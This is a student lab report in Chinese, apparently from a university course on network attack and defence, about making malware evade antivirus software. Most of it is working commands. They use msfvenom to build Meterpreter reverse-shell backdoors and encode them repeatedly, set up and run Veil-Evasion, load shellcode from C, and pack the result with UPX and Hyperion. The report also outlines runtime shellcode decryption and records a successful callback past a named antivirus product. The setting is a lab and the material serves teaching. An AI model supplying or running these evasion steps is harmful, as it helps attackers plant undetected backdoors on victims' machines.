20222405 2024-2025-1 《网络与系统攻防技术》实验三实验报告
1.实验内容
1.1 实践任务
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
(2)通过组合应用各种技术实现恶意代码免杀
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2 问题回答
(1)杀软是如何检测出恶意代码的?
特征码检测:比对已知恶意软件的特定字节模式,检测已知威胁。
启发式检测:分析文件的结构和行为特征,发现新型或变种威胁。
行为分析:在沙盒中执行文件,观察其是否有恶意行为。
(2)免杀是做什么?
“免杀”是指恶意软件通过一些手段,逃避杀毒软件的检测,从而提高感染成功率。这些技术通过隐藏或动态改变恶意代码的特征,使其难以被特征码匹配、行为分析或沙盒检测发现。
(3)免杀的基本方法有哪些?
代码混淆:修改代码结构或指令顺序,隐藏特征码。
加壳与加密:使用加密或压缩技术包装恶意软件,掩盖其真实内容。
自修改代码:让代码在运行时动态变化,规避静态分析。
反沙盒与反调试:检测是否在虚拟环境或调试器中运行,避免被分析。
2.实验过程
任务一 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
先看一下实验二生成的后门程序
在virustotal网站检测后结果如下图

我们可以看出,没有经过处理的后门程序可以很容易地被杀毒软件检测出来
所以有必要对文件操作一下了
用msf编码器对后门程序进行编码
先输入msfvenom --list formats查看支持的输出格式


可以看到支持很多格式
生成后门程序,输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2405 -f exe > 20222405chuzhehao.exe


输入msfvenom --list encoders查看支持的编码方式

生成一次编码的后门程序,输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.247.128 LPORT=2405 -f exe > 20222405chuzhehao-2.exe


看起来一次编码没什么效果
生成十次编码的后门程序,输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.247.128 LPORT=2405 -f exe > 20222405chuzhehao-3.exe


只能说光编码没什么大用
生成jar文件,输入命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2405 -f jar > 20222405chuzhehao-4.jar


再进行编码,输入命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2405 -e x86/shikata_ga_nai -i 10 -f jar > 20222405chuzhehao-5.jar

生成elf文件,输入命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2405 -f elf > 20222405chuzhehao-6.elf


再进行编码,输入命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2405 -e x86/shikata_ga_nai -i 10 -f elf > 20222405chuzhehao-7.elf


可以看到效果好了很多
使用veil,加壳工具
首先安装veil
依次输入命令
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
sudo apt-get install wine32

然后接着输入
apt-get install veil
cd /usr/share/veil/config/
vim setup.sh

打开文件后将第260行的下载地址改为https://gitee.com/spears/VeilDependencies.git

输入命令veil进行安装

一路安装或更新各种程序


成功安装veil

输入命令use evasion,进入veil—Evasion

输入命令list,查看能用的payload类型

我们使用第七个c/meterpretermrev_tcp.py,输入命令use 7

先看下虚拟机ip地址
、
依次输入命令
set LHOST 192.168.146.128
set LPORT 2405
generate
把生成的文件命名为20222405veil

输入命令
cd /var/lib/veil/output/compiled/
ls
查看生成的文件


对20222405veil.exe进行检测

使用C + shellcode编程
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.146.128 LPORT=2405 -f c

编写C语言文件20222405.c

将生成的buf[]数组放入文件中

输入命令i686-w64-mingw32-g++ 20222405.c -o 20222405.exe将C语言文件编译为可执行文件
对20222405.exe进行检测

upx加壳
输入命令upx 20222405.exe -o upx20222405.exe

hyperion加壳
输入命令wine hyperion.exe -v upx20222405.exe hyperion20222405.exe


查看生成的可执行文件

对upx20222405.exe进行检测

对hyperion20222405.exe进行检测

感觉效果并不好
任务二 通过组合应用各种技术实现恶意代码免杀
原理:使用msfvenom生成Shellcode,以字节数组的形式保存,然后对Shellcode进行加密,以防止被静态分析工具直接检测到。加密后的数据被保存到文本文件中。接着用C语言编写程序,从文本文件中读取加密数据并实现解密,将其还原为原始Shellcode,通过函数指针和内存执行的方式运行Shellcode。最后将这个C程序编译为可在Windows上运行的.exe文件。

任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
电脑环境:Windows10 x64
杀毒引擎:360安全卫士
杀软版本:V13.0.0.2236
输入msfconsole打开控制台
依次输入命令
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.146.128
set LPORT 2405
run

主机运行后门程序,输入命令ls

回连成功
3.问题及解决方案
问题1:出现下图中的报错

问题1解决方案:依次输入命令dpkg --add-architecture i386、sudo apt-get update、sudo apt-get install wine32
问题2:出现报错[!] ERROR #2-3: Can't find the wINE profile for AuotIT v3 (/var/lib/vei/wine//drive_c/program Files/AutoIt3/Aut2Exe/Aut2exe.exe).
问题2解决方案:输入sudo /usr/share/veil/config/setup.sh --force --silent
问题3:运行.exe可执行文件显示该程序无法在你的系统上运行
问题3解决方案:可执行文件是64位的,我的win10虚拟机是32位的系统,换成64位的系统即可解决
4.学习感悟、思考等
在这次实验中,Veil的安装过程非常坎坷,安装时经常卡在某个环节,甚至多次导致虚拟机崩溃,不得不重启虚拟机再从头开始操作,经过反复尝试后,我终于成功安装了Veil,但感觉虚拟机不太稳定。在实验中我尝试了多种免杀技术,虽然某些方法效果有限,但通过组合多种技术,最终显著降低了恶意代码的检测率。在这方面我还需要深入研究和提高技能。通过这次实验我了解到即使启用杀毒软件,也无法完全阻挡恶意代码的侵入。因此,确保计算机安全不能仅仅依赖杀毒软件,而是应采取多层次的防护策略,持续增强安全意识。

浙公网安备 33010602011771号